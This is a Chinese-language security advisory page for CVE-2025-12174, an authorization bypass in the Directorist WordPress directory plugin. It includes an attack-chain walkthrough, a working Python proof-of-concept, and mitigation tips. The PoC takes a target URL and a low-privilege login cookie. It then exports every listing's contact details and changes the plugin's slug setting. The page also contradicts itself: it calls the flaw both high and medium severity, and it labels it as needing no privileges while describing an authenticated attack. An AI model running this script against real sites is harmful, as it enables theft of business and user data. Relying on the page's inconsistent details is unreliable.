IPBUF安全漏洞报告
English
CVE-2025-12174 CVSS 6.5 中危

CVE-2025-12174 WordPress Directorist插件AJAX权限绕过漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-12174
漏洞类型
权限绕过/授权缺陷
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Directorist: AI-Powered Business Directory Plugin with Classified Ads Listings (WordPress插件)

相关标签

CVE-2025-12174WordPress插件漏洞权限绕过授权缺陷DirectoristAJAX安全数据导出商业目录插件Broken Access Control

漏洞概述

CVE-2025-12174是WordPress插件Directorist中发现的一个高危安全漏洞。该插件是一款功能强大的企业目录和分类广告列表插件。在8.5.2及之前的所有版本中,由于两个关键AJAX动作'directorist_prepare_listings_export_file'和'directorist_type_slug_change'缺少适当的权限检查,导致任何已认证用户(包括最低权限的Subscriber角色)可以执行本应仅管理员可用的操作。攻击者可以利用此漏洞导出所有商业目录列表的敏感详细信息,包括企业名称、联系方式和用户数据,同时还能修改插件的slug配置,可能造成业务中断或数据泄露。此漏洞无需任何用户交互即可被利用,在网络条件下可直接发起攻击。

技术细节

该漏洞属于WordPress插件常见的授权缺陷(Broken Access Control)。Directorist插件在注册AJAX端点时,未正确使用wp_ajax_*或wp_ajax_nopriv_*钩子进行权限验证。具体问题在于:1) directorist_prepare_listings_export_file动作允许任何认证用户导出listing数据,但该功能本应仅限管理员访问;2) directorist_type_slug_change动作允许修改directorist的slug设置,这属于站点配置范畴。攻击者只需构造带有有效WordPress认证cookie的AJAX请求,指定action参数为上述两个值之一,即可绕过权限检查。CVSS 3.1评分6.5(中等),向量AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N表明攻击复杂度低,无需特殊权限即可远程利用,对机密性和完整性造成低至中等影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者确认目标网站使用WordPress并安装Directorist插件,探测插件版本是否<=8.5.2
STEP 2
步骤2: 获取认证
攻击者注册一个普通用户账户(Subscriber角色)或利用已有低权限账户获取有效的认证cookie
STEP 3
步骤3: 构造恶意请求
攻击者构造AJAX请求,将action参数设置为'directorist_prepare_listings_export_file'或'directorist_type_slug_change',绕过权限检查
STEP 4
步骤4: 数据导出/配置篡改
通过第一个AJAX动作导出所有商业目录的敏感信息;通过第二个动作修改directorist slug导致站点功能异常
STEP 5
步骤5: 持久化/后续攻击
利用获取的敏感数据进行进一步攻击,或利用配置变更造成业务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urlencode # CVE-2025-12174 PoC - Directorist AJAX Authorization Bypass # Target: WordPress site with Directorist plugin <= 8.5.2 def exploit_ajax_bypass(target_url, auth_cookie): """ Exploit missing capability check on Directorist AJAX actions Requires valid WordPress authentication (subscriber level or higher) """ headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # Exploit 1: Export all listings (data exfiltration) export_data = { 'action': 'directorist_prepare_listings_export_file', 'directory_type': 'all', 'columns': 'title,description,email,phone,address,website' } print('[*] Attempting to export listings data...') resp = requests.post( f'{target_url}/wp-admin/admin-ajax.php', data=export_data, headers=headers ) if resp.status_code == 200 and 'file_url' in resp.text: print('[+] Successfully exported listings data!') print(resp.text) # Exploit 2: Change directorist slug (configuration tampering) slug_data = { 'action': 'directorist_type_slug_change', 'slug': 'malicious-slug', 'term_id': '1' } print('[*] Attempting to modify directorist slug...') resp = requests.post( f'{target_url}/wp-admin/admin-ajax.php', data=slug_data, headers=headers ) if resp.status_code == 200: print('[+] Slug modification request sent!') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <auth_cookie>') sys.exit(1) exploit_ajax_bypass(sys.argv[1], sys.argv[2])

影响范围

Directorist WordPress插件 <= 8.5.2

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:1)在wp-config.php中添加自定义过滤器,禁止低权限用户访问相关AJAX动作;2)使用WordPress安全插件如Wordfence配置IP白名单;3)临时禁用listing导出和slug修改功能;4)审查所有具有Subscriber及以上角色的用户账户,移除不必要的账号。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表